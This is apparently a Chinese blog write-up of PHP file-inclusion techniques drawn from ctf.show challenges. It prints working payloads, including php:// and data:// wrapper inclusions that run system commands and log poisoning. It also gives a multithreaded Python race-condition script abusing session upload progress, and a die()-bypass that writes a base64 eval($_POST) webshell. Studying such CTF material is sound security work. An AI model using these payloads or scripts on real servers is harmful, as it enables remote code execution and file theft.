博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
CTF文件包含
阅读量:3960 次
发布时间:2019-05-24

本文共 3057 字,大约阅读时间需要 10 分钟。

文章目录

本文以ctf.show网站题目为例,总结ctf中的文件包含漏洞


php伪协议

?file=php://filter/convert.base64-encode/resource=flag.php

data伪协议

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> 

日志文件

日志文件路径:?file=/var/log/nginx/access.log

apache2:/var/log/apache2/access.log
直接访问会显示User-Agent的信息:
在这里插入图片描述
写入php文件,进行getshell
在这里插入图片描述
注意:访问日志文件只会显示前几次访问情况,要查看当前访问情况需要再一次访问

session文件竞争

https://blog.csdn.net/weixin_45669205/article/details/113709363

原理:

  1. session文件的命名格式是:
    sess_[PHPSESSID的值]
  2. session文件默认路径
    linux:/tmp 或 /var/lib/php/session
    Windows:C:\WINDOWS\Temp
  3. session.use_strict_mode默认值为0, 此时用户是可以自己定义Session ID
    比如,我们在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag
  4. 在默认情况下,session.upload_progress.cleanup是开启的,一旦读取了所有POST数据,它就会清除进度信息(利用条件竞争应付这种情况)

在这里插入图片描述

添加一个Cookie:PHPSESSID=flag
并在PHP_SESSION_UPLOAD_PROGRESS下添加一句话木马

PHP将会在服务器上创建一个会话文件:/tmp/sess_flag (这里我们猜测session文件默认存储位置为/tmp)

在题目页面进行?file=/tmp/sess_flag传参并抓包
在这里插入图片描述
两边同时爆破,触发竞争
在这里插入图片描述
得到文件名,再次爆破读文件
在这里插入图片描述
lonmar佬的通杀脚本:

# -*- coding: utf-8 -*-# @author:lonmarimport ioimport requestsimport threadingsessID = 'flag'url = 'http://167fff40-d240-4032-b724-1da8660ec305.chall.ctf.show:8080/'def write(session):    while event.isSet():        f = io.BytesIO(b'a' * 1024 * 50)        response = session.post(            url,            cookies={
'PHPSESSID': sessID}, data={
'PHP_SESSION_UPLOAD_PROGRESS': '
'}, files={
'file': ('test.txt', f)} )def read(session): while event.isSet(): response = session.get(url + '?file=/tmp/sess_{}'.format(sessID)) if 'test' in response.text: print(response.text) event.clear() else: print('[*]retrying...')if __name__ == '__main__': event = threading.Event() event.set() with requests.session() as session: for i in range(1, 30): threading.Thread(target=write, args=(session,)).start() for i in range(1, 30): threading.Thread(target=read, args=(session,)).start()

死亡绕过

https://xz.aliyun.com/t/8163#toc-3

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

file_put_contents(urldecode($file), "
".$content);

因为存在die()或exit(),导致即使我们成功写入一句话,也执行不了。

base64编码绕过

利用base64解码,将死亡代码解码成乱码,使得php引擎无法识别

先用伪协议准备好写入的文件1.php

php://filter/write=convert.base64-decode/resource=1.php

因为存在urldecode($file)所以需要url双编码:

%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30

POST木马:

//PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7ICA/Pg==

因为base64算法解码时是4个byte一组,所以给他增加2个“a”一共8个字符。这样,"phpdieaa"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php die; ?>没有了。

如果是phpexit就只要增加1个a

在这里插入图片描述
访问1.php即可
在这里插入图片描述

你可能感兴趣的文章
使用ScribeFire方便地发布blog
查看>>
跨平台Java程序注意事项
查看>>
Python字符与数字的相互转换
查看>>
C 指针解读
查看>>
有关乱码的处理---中国程序员永远无法避免的话题
查看>>
JSP的运行内幕
查看>>
python超简单的web服务器
查看>>
代理模式、静态代理、动态代理、aop
查看>>
Struts1.x Spring2.x Hibernate3.x DWR2.x整合工具文档v1.00
查看>>
大型Web2.0站点构建技术初探
查看>>
机器学习算法汇总:人工神经网络、深度学习及其它
查看>>
解决Spring中AOP不能切入Struts的DispatchAction方法的问题
查看>>
出国以后才知道英语应该怎么学
查看>>
计算机专业权威期刊投稿经验总结
查看>>
如何在三个月内学会一门外语?
查看>>
看看你对Linux到底了解多少?
查看>>
网上看到的:ARM入门最好的文章(转)
查看>>
中国最美情诗100句
查看>>
javascript注册window的onload事件问题研究
查看>>
客户端技术分页控件javascript+css,可用于任何服务器端技术
查看>>